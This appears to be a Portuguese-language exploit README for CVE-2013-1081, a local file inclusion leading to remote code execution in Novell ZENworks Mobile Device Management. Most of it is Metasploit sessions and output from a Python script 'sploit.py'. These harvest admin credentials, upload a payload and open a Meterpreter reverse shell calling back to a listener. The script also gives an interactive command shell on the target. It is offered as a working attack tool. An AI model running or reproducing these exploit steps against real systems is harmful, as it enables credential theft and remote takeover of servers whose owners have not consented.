steponequit/cve-2013-1081Novell ZENworks Mobile Management - LFI RCE
Este script explora uma vulnerabilidade de inclusão de arquivo local (LFI) que existe no Novell Zenworks Mobile Device Management.
Módulos do Metasploit -
msf > use auxiliary/scanner/http/novell_mdm_creds msf auxiliary(novell_mdm_creds) > show options
Module options (auxiliary/scanner/http/novell_mdm_creds):
Name Current Setting Required Description
Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host
msf auxiliary(novell_mdm_creds) > set rhosts 192.168.20.133 rhosts => 192.168.20.133 msf auxiliary(novell_mdm_creds) > run
[] Verifying that Zenworks login page exists at 192.168.20.133 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [+] Got creds. Login:Admin1 Password:password1 [+] Access the admin interface here: 192.168.20.133:80/dashboard/ [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
msf > use exploit/windows/http/novell_mdm_lfi
msf exploit(novell_mdm_lfi) > show options
Module options (exploit/windows/http/novell_mdm_lfi):
Name Current Setting Required Description
Proxies no Use a proxy chain RHOST 192.168.20.133 yes The target address RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.20.131 yes The listen address LPORT 4444 yes The listen port
msf exploit(novell_mdm_lfi) > exploit
[] Started reverse handler on 192.168.20.131:4444 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [] Setting up poisoned session [] Uploading payload [] Executing payload [] Sending stage (751104 bytes) to 192.168.20.133 [] Meterpreter session 1 opened (192.168.20.131:4444 -> 192.168.20.133:4725) at 2013-06-04 09:39:20 -0700
meterpreter >
Script Python -
O "cmd.exe" incluído é do win2k3 – os resultados podem variar em diferentes alvos. O 'shell' atual é extremamente instável, mas deve ser fácil substituir o executável carregado pelo que for desejado :)
Exemplo de execução:
python sploit.py http://192.168.20.133
[] Session Poisoned, Retrieving Creds.
[+] Credentials User: Admin1 Password: password1
[!] Log into the administrative interface at: http://192.168.20.133/dashboard/
[] Staging exe to run
[*] Dropping to shell, type 'exit' to quit.
#:net user
user_agent|s:34:"
User accounts for \STEPONEQ-1B78B2
Administrator Guest IUSR_STEPONEQ-1B78B2
IWAM_STEPONEQ-1B78B2 SUPPORT_388945a0
The command completed successfully.
";$error|s:12:"Login Failed"; #:ipconfig user_agent|s:34:" Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.20.133 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.2
";$error|s:12:"Login Failed";
